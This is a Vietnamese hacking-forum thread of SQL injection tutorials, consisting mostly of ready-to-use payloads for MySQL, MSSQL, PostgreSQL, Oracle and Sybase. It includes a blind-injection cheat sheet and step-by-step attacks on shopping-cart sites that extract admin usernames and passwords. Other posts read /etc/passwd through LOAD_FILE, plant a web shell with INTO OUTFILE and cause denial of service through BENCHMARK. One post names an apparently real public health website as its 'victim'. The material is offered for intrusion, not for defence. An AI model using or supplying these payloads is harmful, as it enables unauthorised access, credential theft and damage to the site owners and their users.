Disneyland 1972 Love the old s
logo

Chatbox|Admin nhận làm wap/web, giá cả thương lượng... Thông tin admin tại mỗi bài viết.
Home · Bang hội ·
* Đăng Nhập hoặc Đăng Kí
để sử dụng hết chức năng của diễn đàn.
Hi, Khách!
HomeBang hội » Wapmaster » Hacking » SQL injection - Full
Xuống dưới » SQL injection - Full
avatar by Pham_loi Pham_loi
Chức vụ:
23:56:33, 17-02-2016

Advanced - Blind SQL
Phương pháp thực chất là phương pháp set khóa chính có cấu trúc và tên gọi giống nhau lặp lại 2 lần
vd:
tương tự như
Primarykey('id','id')

Trong hệ quản trị CSDL ,ta không thể add 1 lúc 2 khóa chính giống nhau => Trùng
Và lúc này lợi dùng chức năng thông báo lỗi của các hệ quản trị CSDL để xuất ra thông tin ta cần tìm.

Các bạn có thể test ngay trên phpmyadmin ^_^ (MYSQL)
mysql> select 1,2 union select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x;
Copy code

Sẽ trả về thông báo
ERROR 1062 (23000): Duplicate entry '5.0.841' for key 1<= bi trùng khóa '5.0.841' ,đây là thông tin mà ta cần lấy.

Tương tự
mysql> select 1 and (select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry '5.0.841' for key 1

Copy code


Ví dụ:
http://server/?id=(1)and(select+1+from(select+count(*),concat((select+table_name+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)--
Copy code

Với phương pháp này ta cũng áp dụng được trên MSSQL
qua phương pháp 'convert(int,xyz);'
vd:
http://server/?id=(1)and(1)=(convert(int,(select+table_name+from(select+row_number()+over+(order+by+table_name)+as+rownum,table_name+from+information_schema.tables)+as+t+where+t.rownum=1)))--
Copy code


Đối với PostgreSQL thì hơi khác 1 chút.

vd:

Mã:
http://server/?id=(1)and(1)=cast((select+table_name+from+information_schema.tables+limit+1+offset+0)+as+numeric)--
Copy code


Đối với Oracle
vd:

Mã:
http://server/?id=(1)and(1)=(select+upper(xmltype(chr(60)||chr(58)||chr(58)||(select+rawtohex(login||chr(58)||chr(58)||password)from(select+login,password,rownum+rnum+from+users+a)where+rnum=1)||chr(62)))from dual)--
Copy code


Tổng kết lại ta có các phương thức ^_^.

PostgreSQL:

Mã:
/?param=1 and(1)=cast(version() as numeric)--
Copy code

MSSQL:

Mã:
/?param=1 and(1)=convert(int,@@version)--
Copy code

Sybase:

Mã:
/?param=1 and(1)=convert(int,@@version)--
Copy code

MySQL>=4.1<5.0:

Mã:
/?param=(1)and(select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from TABLE_NAME group by x)a)--
Copy code


Hoặc


Mã:
/?param=1 and row(1,1)&gt;(select count(*),concat(version(),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1)--
Copy code

MySQL>=5.0:

Mã:
/?param=(1)and(select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)--
Copy code


Chỉnh sửa lúc 2016-02-28 22:06 bởi Pham_loi
Like: 0
avatar by Pham_loi Pham_loi
Chức vụ:
23:54:02, 17-02-2016

Advanced - MySQL Blind SQL Cheat Sheets

1. To test blind injection

' and 'x'='x

2. To select the current database (Output will be in Hexadecimal, decode to ASCII

' and(select 1 from(select countimg,concat((select (select concat(0x7e,0x27,Hex(cast(database() as char)),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'=1

3. To find the current user

1' and(select 1 from(select countimg,concat((select (select concat(0x7e,0x27,Hex(cast(user() as char)),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'=1

4. To find MySQL Version

1' and(select 1 from(select countimg,concat((select (select concat(0x7e,0x27,Hex(cast(version() as char)),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'=1

5. Find current database

1' and(select 1 from(select countimg,concat((select (select concat(0x7e,0x27,Hex(cast(database() as char)),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'=1

6. To find the system user

1' and(select 1 from(select countimg,concat((select (select concat(0x7e,0x27,Hex(cast(system_user() as char)),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'=1

7. To find the hostname

1' and(select 1 from(select countimg,concat((select (select concat(0x7e,0x27,Hex(cast(@@hostname as char)),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'=1

8. To find the installation directory

1' and(select 1 from(select countimg,concat((select (select concat(0x7e,0x27,Hex(cast(@@basedir as char)),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'=1

9. To find the DB User

1' and(select 1 from(select countimg,concat((select (select (SELECT distinct concat(0x7e,0x27,Hex(cast(GRANTEE as char)),0x27,0x7e) FROM information_schema.user_privileges LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'=1

10. To find the databases

Note: Keep incrementing the n, e.g. : n, n+1, n+2, ... till you keep getting a response.

1' and(select 1 from(select countimg,concat((select (select (SELECT distinct concat(0x7e,0x27,Hex(cast(GRANTEE as char)),0x27,0x7e) FROM information_schema.user_privileges LIMIT 1,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'=1

1' and(select 1 from(select countimg,concat((select (select (SELECT distinct concat(0x7e,0x27,Hex(cast(schema_name as char)),0x27,0x7e) FROM information_schema.schemata LIMIT n,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'=1

1' and(select 1 from(select countimg,concat((select (select (SELECT distinct concat(0x7e,0x27,Hex(cast(schema_name as char)),0x27,0x7e) FROM information_schema.schemata LIMIT n+1,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'=1

11. To count the number of tables in the selected database

Note: Note this count as n
Replace colored strings with appropriate value

1' and(select 1 from(select countimg,concat((select (select (SELECT concat(0x7e,0x27,count(table_name),0x27,0x7e) FROM `information_schema`.tables WHERE table_schema=0xhex_code_of_database_name)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'=1

12. To get the table names in the selected database

Note: m-n implies execute this query starting from m, m+1…n-1
Replace colored strings with appropriate value

1' and(select 1 from(select countimg,concat((select (select (SELECT distinct concat(0x7e,0x27,Hex(cast(table_name as char)),0x27,0x7e) FROM information_schema.tables Where table_schema=0xhex_code_of_database_name limit m-n,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'=1

13. To get number of columns in the selected table name

Note: Note this count as n
Replace colored strings with appropriate value

1' and(select 1 from(select countimg,concat((select (select (SELECT concat(0x7e,0x27,count(column_name),0x27,0x7e) FROM `information_schema`.columns WHERE table_schema=0xhex_code_of_database_name AND table_name=0xhex_code_of_table_name)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'=1

14. To get column names of a selected table name

Note: m-n implies execute this query starting from m, m+1…n-1
Replace colored strings with appropriate value

1' and(select 1 from(select countimg,concat((select (select (SELECT distinct concat(0x7e,0x27,Hex(cast(column_name as char)),0x27,0x7e) FROM information_schema.columns Where table_schema=0xhex_code_of_database_name AND table_name=0xhex_code_of_table_name limit m-n,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'=1

15. To count the number of records in a selected column

Note: Remember this count as n

1' and(select 1 from(select countimg,concat((select (select (SELECT concat(0x7e,0x27,countimg,0x27,0x7e) FROM `database_name`.table_name)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'=1

16. To fetch records from a selected column

Note: m-n implies execute this query starting from m, m+1…n-1
Replace colored strings with appropriate value

1' and(select 1 from(select countimg,concat((select (select (SELECT concat(0x7e,0x27,Hex(cast(table_name.column_name as char)),0x27,0x7e) FROM `database_name`.table_name LIMIT m-n,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'=1

17. Update a record in the selected column

1';UPDATE table_name SET column_name=0xhex_code_of_new_record_value WHERE column_name=0xhex_code_of_old_record_value--

Like: 0
avatar by Pham_loi Pham_loi
Chức vụ:
23:52:09, 17-02-2016

Basic - MySQL injection
Bây giờ chúng ta nhìn vào 1 số ví dụ về code php (view source á)

...
$ id = $ _GET [ 'id';
...
mysql_query ( "UNION SELECT nick FROM users WHERE id =". );..... $ id
?>

Chúng ta cần lưu ý về phương thức lấy đoạn ma GET .Anh em hãy để ý kỹ về đoạn mã php ở trên.Chúng ta có thể thay đổi yêu cầu truy vấn dựa vào GET.Nếu nó không lọc phần [ 'id mà chúng ta truy vấn vào dữ liệu của victim thì có nghĩa là nó bị lỗi MySQL.
Làm sao mà biết chính xác là nó bị lỗi.Sau đấy là 1 ví dụ :

http://www.site.ru/index.php?page=1

Với 1 trang như thế ,để ta biết nó có bị dính lỗi hay ko thi ta cần thêm vào 1 ký tự như dấu '

http://www.site.ru/index.php?page=1'

Và khi nó bị dính MySQL thì website sẽ gởi lại cho ta biết với 1 thông báo như sau:

+MySQL Error: mysql_query (.......) error expretion syntax ...

Câu nói ở đây có nghĩa là có 1 truy vấn đang bị lỗi về cấu trúc toán học hay thư mục.Và 99% đây là lỗi source.

Ngoài ra ta còn 1 phương các nữa là ta dùng phương thức toán học đơn giản như sau:

http://www.site.ru/index.php?page=2-1

Và nó trở về 1 thì 99% nó bị dính mysql.
Khi ta biết chính xác nó bị lỗi thì ta sẽ khai thác như sau.Chúng ta cần gởi 1 truy vấn sql đến victim nhưng chúng ta cần truy vấn với giá trĩ là null.Null ở đây là rỗng không có 1 giá trị xác thực.

http://www.site.ru/index.php?page=-1 union + + + select null, null / *
or
http://www.site.ru/index.php?page=99999 union + + + select null, null / *

Chúng ta sẽ sử dụng lần lượt các câu truy vấn thông dụng như:

union select null, null
union select null, null, null
union select null, null, null, null

Lệnh union ở đây chính là lênh kết nối các bảng lại với nhau.Chúng ta cứ sử dụng cho đến khi biết 9 xác có bao nhiêu bảng dữ liệu nằm trong database

http://www.site.ru/index.php?page=-1 union + + + select null, null, null, null, null, null / *

Sau khi đã xác định được bảng ta xét đến nó có bao nhiệu cột nằm trong bảng.Với câu lệnh sau sẽ giúp ta xác định:

+? id =- 1 + + by order +100 / *

Dĩ nhiên các cột không thể nào quá 100 cột được.Với cách thức này ta có thể nhanh chóng biết được bao nhiêu cột.Và có sai thì nó sẽ báo lổi.

Sau khi đã biết chính xác được có bao nhiêu cột thì ta sẽ thay thế các giá trị null mà hồi nãy ta truy vấn bằng các con số 9 xác như 1,2,3,..

http://www.site.ru/index.php?page=-1 + union + select +1,2,3,4,5,6 / *

Sau đó ta sẽ lấy 1 số thông tin như user database...Và ta cần biết 9 xác nó nằm ở cột nào mới truy vấn và tìm

http://www.site.ru/index.php?page=-1 + union + +1.2 select, USER (), 4,5,6 / *
http://www.site.ru/index.php?page=-1 + union + +1.2 select, VERSION (), 4,5,6 / *
http://www.site.ru/index.php?page=-1 + union + +1.2 select, DATABASE (), 4,5,6 / *

*Sau khi có được các thông tin thì ta cần làm những bước sau tùy vào ý thích của mỗi người

1-Lấy pass của thằng root(Nó là quan trọng 1 mà)

http://www.site.ru/index.php?page=-1 + union + +1.2 select, user, password, 5,6 mysql.user + from + / *

Và nó sẽ cho ra pass là pass hash và chúng ta dùng các chương trình crack pass để lấy mã.Ví dụ như chương trình password pro.Lưu ý phương thức lấy pass bằng câu lệnh trên ko có nghĩa lúc nào cũng cho ra pass mà còn phụ thuộc vào thằng mysql.user có chấp nhận yêu cầu của ta hay ko.

2-Đọc các bảng khác có liên quan đến thằng root:
Chúng ta có thể đọc các bảng có liên quan như:spreadsheet-type users, reg_users, admins, accounts ...

http://www.site.ru/index.php?page=-1 + union + +1.2 select, name, passwd, 4,5,6 + + from users / *

3-Đọc tập tin chứ trên server:

http://www.site.ru/index.php?page=-1 + union + +1.2 select, LOAD_FILE ( '/ etc / passwd'), 4,5,6 / *

Nếu chúng ta xác định 9 xác tập tin ta cần đọc thì phần LOAD_FILE sẽ giúp ích cho ta rất nhiều.

4-Up shell và ddos:
Chúng ta cần nhận thấy là chúng ta cần nên đưa con shell ở bên ngoài vào sao cho phù hợp 1.Và thư mục mà ta cần quan tâm và phù hợp 1 chính là "/ home / site / public_html /"

Code up shell:

http://www.site.ru/index.php?page=-1 + union + select +1,2,3,4,5, '' + + + from mysql.user into outfile + + '/ home / site / public_html / shell.php' / *

Việc up shell là phần quan trọng 1 đối với lỗi MYSQL.Và 1 điều quan trọng ko kém là chúng ta cần đưa thêm biến hay tham số ,cụ thể là số.Nó sẽ giúp ta thực hiện được 1 số lệnh bị giới hạn trong mysql.
Ví dụ:union select 1.2, user, pass, from 5,6 + + + users limit +5.3 / * [/ i
Chúng sẽ thử lại 3 lần với cột số 5

Đôi khi chúng ta gặp phải 1 số cơ chế lọc hay mã hóa trong mysql.Chính vì vậy để giải quyết vấn đề loại bỏ cơ chế trên ta cần 1 câu lệnh ko kém phần quan trọng

http://www.site.ru/index.php?page=-1 + union + +1.2 select, AES_DECRYPT (AES_ENCRYPT (USER (), 0x71), 0x71), 4,5,6 / *

1 điều cần lưu ý là khi bộ lọc kovychku của sql được bật thì chúng ta có thể dùng đến phần LOAD_FILE
Ví dụ ta đưa vào LOAD_FILE phần đọc thư mục / etc / passwd thì chúng ta dùng đoạn code sau:

http://www.site.ru/index.php?page=-1 + union + +1.2 select, LOAD_FILE (char (47101116,99,47112,97115115119100)), 4,5,6 / *

Đôi khi ta bị thằng inektsiya giới hạn việc sử dụng các khoản không gian sử dụng.Để xác lập lại ta dùng các lệnh sau:

http://www.site.ru/index.php?page=-1 + union + +1.2 select, user, password, 5,6 mysql.user + from + / *

http://www.site.ru/index.php?page=-1/ ** / union / ** / select / ** / 1.2, user,

Phần cuối là dos:Chắc câu lệnh này mọi người ai cũng hiểu ha:

http://www.site.ru/index.php?page=-1 + BENCHMARK (10000000, BENCHMARK (10000000 md5 (current_date)))

Like: 0
avatar by Pham_loi Pham_loi
Chức vụ:
23:39:41, 17-02-2016

Basic - lỗi SQL id=?' cat=?' - part 2
Bước 1 : tìm site lỗi

Ví dụ site này:http://www.victimtim.com/shopping/sh...cts.asp?id=153'

Cũng thêm vào dấu phẩy ( ' ) để check lỗi

Products

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft[ODBC SQL Server Driver[SQL ServerUnclosed quotation mark before the character string ''

./shopping/shopdisplayproducts.asp, line 93

Oh có lỗi rồi, giờ sao đây

Cái này anh em biết khai thác chứ:

Lấy table đầu tiên của CSDL:

%20and 1=convert(int,(select top 1 table_name from information_schema.tables))--sp_password

http://www.victimtim.com/shopping/sh...)--sp_password

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft[ODBC SQL Server Driver[SQL ServerSyntax error converting the nvarchar value 'ver_Faq' to a column of data typeint

./shopping/shopdisplayproducts.asp, line 93

Bước 2 chắc các bạn biết, chỉ là lấy table thui.

Sau đây là code lấy các table khác ngoài table đầu tiên, mình chỉ việc kiếm table nào chứa users của admin là okie.

%20and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ('ver_Faq')))--sp_password

%20and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ('ver_Faq','coupons','customerprices','customers') ))--sp_password

http://www.victimtim.com/shopping/sh...%201=convert(i nt,(select%20top%201%20table_name%20from%20informa tion_schema.tables%20where%20table_name%20not%20in %20('ver_Faq','coupons','customerprices','customer s')))--sp_password

Products

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft[ODBC SQL Server Driver[SQL ServerSyntax error converting the nvarchar value 'AdminUsers' to a column of datatype int

./shopping/shopdisplayproducts.asp, line 93

Tới đây là đã quá rõ, cái mình tìm chính là table này : 'AdminUsers' vì sao vậy vì nó chứa user và pass chắc.

Thui cứ khai thác thử.

Ta lấy column của table 'AdminUsers'

Dùng code sau:

%20and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name=('AdminUsers')))--sp_password

Khi thêm code xong sẽ như thế này:

http://www.victimtim.com/shopping/sh...%201=convert(i nt,(select%20top%201%20column_name%20from%20inform ation_schema.columns%20where%20table_name=('AdminU sers')))--sp_password

Products

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft[ODBC SQL Server Driver[SQL ServerSyntax error converting the nvarchar value 'AdminID' to a column of data typeint

./shopping/shopdisplayproducts.asp, line 93

Và bước tiếp theo:

Tìm các columns khác trong table 'AdminUsers' nhưng khác 'AdminID'

%20and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name=('AdminUsers') and column_name not in ('AdminID')))--sp_password

Khi thêm code xong sẽ như thế này:

http://www.victimtim.com/shopping/sh...%201=convert(i nt,(select%20top%201%20column_name%20from%20inform ation_schema.columns%20where%20table_name=('AdminU sers')%20and%20column_name%20not%20in%20('AdminID' )))--sp_password

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft[ODBC SQL Server Driver[SQL ServerSyntax error converting the nvarchar value 'login' to a column of data type int

./shopping/shopdisplayproducts.asp, line 93

Và các bạn cứ tiếp tục thêm table vào:

http://www.victimtim.com/shopping/sh...%201=convert(i nt,(select%20top%201%20column_name%20from%20inform ation_schema.columns%20where%20table_name=('AdminU sers')%20and%20column_name%20not%20in%20('AdminID' ,'login')))--sp_password

http://www.victimtim.com/shopping/sh...%201=convert(i nt,(select%20top%201%20column_name%20from%20inform ation_schema.columns%20where%20table_name=('AdminU sers')%20and%20column_name%20not%20in%20('AdminID' ,'login','pwd')))--sp_password

Okie 2 thông tin quan trọng là 'login','pwd' đă xuất hiện giờ chỉ việc kiếm pass.

Code dùng để exploit 2 columns 'login'và 'pwd' để lấy user và pass trong table 'AdminUsers'

%20and 1=convert(int,(select top 1 login%2b'/'%2bpwd from AdminUsers))--sp_password

Khi thêm code xong sẽ như thế này:

http://www.victimtim.com/shopping/sh...%201=convert(i nt,(select%20top%201%20login%2b'/'%2bpwd%20from%20AdminUsers))--sp_password

Products

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft[ODBC SQL Server Driver[SQL ServerSyntax error converting the varchar value 'admin/admin' to a column of datatype int

./shopping/shopdisplayproducts.asp, line 93

user: admin

pass: admin

Bác admin của shop này không biết có bị gì không nữa

Sử dụng cách này các bạn có thể lấy được tấc cả các table trong batabase của shop. Từ đây lại hình thành một cách mới để tìm link admin.

Mặc dù nói thì dễ vậy nhưng làm thì cần một thứ nữa, đó chính là lỗi file shopexd.asp ^^ . Nếu bạn vào trang này bị lỗi thì có hy vọng lấy được link admin.

Dùng đoạn lệnh gộp sau đây:

http://www.victimtim.com/shoping/shopexd.asp?id=-1 union select table1,fieldvalue,table2,table3,table4,table5,tabl e6,table7,table8,table9,table10,table11,table12,ta ble13,configuration where fieldname=xadminpage' and catalogid=153

Sở dĩ ta phải cho

Thực hiện lệnh này xong ta sẽ có link admin ngay ^\^

Site VPASP sử dụng cơ sở dữ liệu SQL - Server thì quá dễ để khai thác như sau

http://www.victimtim.com/shoping/sho...es.asp?id=1and 1=convert(int,(select top 1 fldusername%2b'/'%2bfldpassword from tbluser))--sp_password

http://www.victimtim.com/shoping/sho...es.asp?id=1and 1=convert(int,(select top 1 fieldvalue from configuration where fieldname=xadminpage'))--sp_password

Đối với cat=?' các bạn làm tương tự ( vận dụng sáng tạo từ bài viết trên ^\^)

Like: 0
avatar by Pham_loi Pham_loi
Chức vụ:
23:38:05, 17-02-2016

Basic - lỗi SQL id=?' cat=?'
Tìm Shop lỗi

Shop ví dụ: http://www.victim.com/shoping/shopdi...ducts.asp?id=5

Thêm dấu (') vào sau: http://www.victim.com/shoping/shopdi...ducts.asp?id=5'

Báo lỗi :

Products

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft[ODBC Microsoft Access Driver Syntax error in string in query expression 'ccategory=1' Order

By specialOffer DESC, cname'

./shopping/shop$db.asp, line 657

Nếu không thấy lỗi, thay id bằng cat: http://www.victim.com/shoping/shopdi...ucts.asp?cat=5'

Có lỗi rùi :

Microsoft JET database Engine error '80040e014'

Syntax error in query expression 'ccintcatalogid=p.catalogid and cc.intcategory=c.categoryid and c.catdescription like'5%'

and hide=0 order by specialoffer DESC, cname'

./shopping/shop$db.asp, line 564

Chú ý khi về 2 trường hợp trên : (Quan trọng)

Nếu lỗi là id trong các truy vấn bên dưới không có dấu (') theo sau số id
Nếu lỗi là cat thì cần có thêm dấu (') theo sau trong các truy vấn bên dưới

Đối với lỗi do id: không có dấu (') trong các truy vấn

//////////Tìm username và pass Admin://////////

Thêm đoạn code này vào sau:

%20union select 1 from tbluser'
(union select 0,1 from admin)

Ta được :

http://www.victim.com/shoping/shopdi...p?id=5%20union select 1 from tbluser'

Thông thường ta thêm: (có lẽ các bạn đã hiểu là vì sao nên không nói dài dòng nữa)

%20union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 ,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,3 7 from tbluser'

%20union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 ,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,3 7,38,39,40,41,42,43,44,45,46,47 from tbluser'

Thêm cho đến khi nào xuất một trang bình thường và không còn báo lỗi nữa. Trên trang xuất hiện mấy con số lạ. Thông thường là số 3, 4, 22, 18

Ta thay con số 3 bằng đoạn mã sau để lấy user và pass admin:

fldusername%2b'/'%2bfldpassword

Ta có được:

%20union select 1,2,fldusername%2b'/'%2bfldpassword,4,5,6,7,8,9,10,11,12,13,14,15,16,1 7,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33, 34,35,36,37 from tbluser'

%20union select 1,2,fldusername%2b'/'%2bfldpassword,4,5,6,7,8,9,10,11,12,13,14,15,16,1 7,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33, 34,35,36,37,38,39,40,41,42,43,44,45,46,47 from tbluser'

Số 3 bây giờ sẽ là: usernameadmin/passadmin

Ví dụ như : kakaka/maiyeuem

//////////Tìm link admin ://////////

Link mặc định là shopadmin.asp, shopadmin1.asp. Nếu không được thì đành tự kiếm !

Nó nằm tại bảng configuration. Vẫn giữ nguyên số cột mà bạn đã khai thác được, thay column đầu bằng:

fieldname=xadminpage'

Thay column lỗi muốn hiển thị bằng:

fieldvalue (ở đây là số 3)

Ta được như sau (một trong hai):

%20union select fieldname=xadminpage',2,fieldvalue,4,5,6,7,8,9,10 ,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,2 7,28,29,30,31,32,33,34,35,36,37 from configuration'

%20union select fieldname=xadminpage',2,fieldvalue,4,5,6,7,8,9,10 ,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,2 7,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43, 44,45,46,47 from configuration'

Chú ý: Có thể thay giá trị fieldvalue vào số 3, 4, hay 22 gì tùy bạn. Không bắc buộc là số 3 ! Theo ví dụ này mình cho vô số 3 ^^

1 là bạn gặp 1 trang trên có mấy con số như : Page 1 of 10

Hãy cố gắng tìm trong 10 trang đó sẽ có 1 trang chứa link admin. Bạn tìm được các trang có đuôi dạng *.asp

2 là bạn gặp thông báo lỗi:

The Microsoft Jet database engine cannot find the input table or query 'configuration'. Make sure it exists and that its name is spelled correctly.

Hic...victim đã xóa mất bảng config và hết lấy link admin ! ^\^

//////////Tìm Pass 2://////////

Nếu bạn có link admin, nhưng shop này nó đòi cái pass 2 nữa ! Quỹ quái thật ^\^

Không có gì khó, nhưng bạn phải xem trang đó có bị lỗi tại page: shopexd.asp hay không, nếu không kiếm pass 2 ngay !

Dùng đoạn code này:

shopexd.asp?id=1%20union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 ,21,22,23,24,25,26,fieldvalue,28,29,30,31,32,33,34 ,35,36,37 from configuration where field

Hoặc:

shopexd.asp?id=1%20union select fieldname=xadminpage',2,3,4,5,6,7,8,9,10,11,12,13 ,14,15,16,17,18,19,20,21,22,23,24,25,26,fieldvalue ,28,29,30,31,32,33,34,35,36,37 from configuration'

Giả sử tại page này column 20 bị lỗi

Dùng code như khi kiếm link admin tại chỗ này:

%20union select fieldname=xadminpage',2,3,4,5,6,7,8,9,10,11,12,13 ,14,15,16,17,18,19,fieldvalue,21,22,23,24,25,26,27 ,28,29,30,31,32,33,34,35,36,37 from configuration'

Rồi, nếu ok nó sẽ sổ ra mã nguồn asp của trang admin, và bạn sẽ nhìn thấy pass 2 tại dòng lênh: Const SecondPassword=pass 2"

Tiếp, nếu bạn muốn tìm link admin tại page này thì phải dùng code sau:

%20union select fieldname=xadminpage',2,3,4,5,6,7,8,9,10,11,12,13 ,14,15,16,17,18,19,left(fieldvalue,9),21,22,23,24, 25,26,27,28,29,30,31,32,33,34,35,36,37 from configuration'

Nếu nó vẫn ra mã nguồn, thì nghĩa là số kí tự của link admin nhỏ hơn 9 hoặc bằng 9, bạn thay 9 bằng số 7.

-&gt; giả sử nó sẽ hiện ra thế này: shoa.as Nhìn thế này thì đủ biết link admin là gì rồi.

Còn nếu dùng code trên mà nó chưa hiện ra dấu . thì bạn chưa thể khẳng định được, thì hãy tăng lên, thay 9 bằng 11 hoặc 12 v..v.... Cứ thế

Đối với lỗi do cat: có dấu (') trong các truy vấn

//////////Tìm username và pass Admin://////////

Thêm đoạn code này vào sau:

%20union select 1 from tbluser"having 1=1--sp_password

Ta được:

http://www.victim.com/shoping/shopdi...5'%20union select 1 from tbluser"having 1=1--sp_password

Chú ý nó khác với id chỗ này: "having 1=1--sp_password và dấu (') phải có ở trước 20%union !

Thông thường ta thêm:

%20union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 ,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,3 7 from tbluser"having 1=1--sp_password

%20union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 ,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,3 7,38,39,40,41,42,43,44,45,46,47 from tbluser"having 1=1--sp_password

Phần còn lại giống với phần hướng dẫn với id ở trên. Khác ở chỗ là có "having 1=1--sp_password ở sau và dấu (') phải có ở trước 20%union !

%20union select 1,2,fldusername%2b'/'%2bfldpassword,4,5,6,7,8,9,10,11,12,13,14,15,16,1 7,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33, 34,35,36,37 from tbluser"having 1=1--sp_password

%20union select 1,2,fldusername%2b'/'%2bfldpassword,4,5,6,7,8,9,10,11,12,13,14,15,16,1 7,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33, 34,35,36,37,38,39,40,41,42,43,44,45,46,47 from tbluser"having 1=1--sp_password

//////////Tìm link admin ://////////

Giống với phần hướng dẫn với id ở trên. Khác ở chỗ là có "having 1=1--sp_password ở sau và dấu (') phải có ở trước 20%union !

%20union select fieldname=xadminpage',2,fieldvalue,4,5,6,7,8,9,10 ,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,2 7,28,29,30,31,32,33,34,35,36,37 from configuration"having 1=1--sp_password

%20union select fieldname=xadminpage',2,fieldvalue,4,5,6,7,8,9,10 ,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,2 7,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43, 44,45,46,47 from configuration"having 1=1--sp_password

//////////Tìm Pass 2://////////

Giống với phần hướng dẫn với id ở trên. Khác ở chỗ là có "having 1=1--sp_password ở sau và dấu (') phải có ở trước 20%union !

%20union select fieldname=xadminpage',2,3,4,5,6,7,8,9,10,11,12,13 ,14,15,16,17,18,19,fieldvalue,21,22,23,24,25,26,27 ,28,29,30,31,32,33,34,35,36,37 from configuration"having 1=1--sp_password

%20union select fieldname=xadminpage',2,3,4,5,6,7,8,9,10,11,12,13 ,14,15,16,17,18,19,left(fieldvalue,9),21,22,23,24, 25,26,27,28,29,30,31,32,33,34,35,36,37 from configuration"having 1=1--sp_password

Nếu làm như cách này không được thì hãy thay các khoàng trắng bằng %20 và thêm %27 vào sau tbluser hoặc configuration để thử lại ! (Bình thương thì trình duyệt tự nhận %20 là một khoảng trắng và ngược lại) !

Like: 0
avatar by Pham_loi Pham_loi
Chức vụ:
23:35:29, 17-02-2016

Basic - Unable to run Query
victim : http://www.clarkhealthdept.org/news.phtml?id=2
ok, check lỗi
http://www.clarkhealthdept.org/news.phtml?id=2'
lỗi xuất hiện

Mã:
Unable to run Query to get news
Copy code

với lỗi này, kĩ thuật cũng hơi phức tạp 1 tí thui
ok, ta khai thác như bình thường, nhưng bạn để
ok

Mã:
http://www.clarkhealthdept.org/news.phtml?id=-999 union select 0,1,2,3,4/*
Copy code

nếu thiếu số 0, chẳng ra cái jì cả
hoặc bạn có thể cho
ok, nó hiện ra

Mã:
2
00/01/2000
3

Copy code

giờ coi version thử nhá

Mã:
http://www.clarkhealthdept.org/news.phtml?id=null union select 0,1,2,version(),4/*
Copy code

giờ dùng chiêu load_file nào )

Mã:
http://www.clarkhealthdept.org/news.phtml?id=null%20union%20select%200,1,2,load_file("/etc/passwd"),4/*
Copy code

ặc ặc jì thế này
chú ý

Mã:
news:*:8:8:News Subsystem:/:/sbin/nologin
Copy code

rùi, ta làm jì nữa nhỉ
read file nhỉ

Mã:
http://www.clarkhealthdept.org/news.phtml?id=null%20union%20select%200,1,2,load_file("/usr/local/include"),4/*
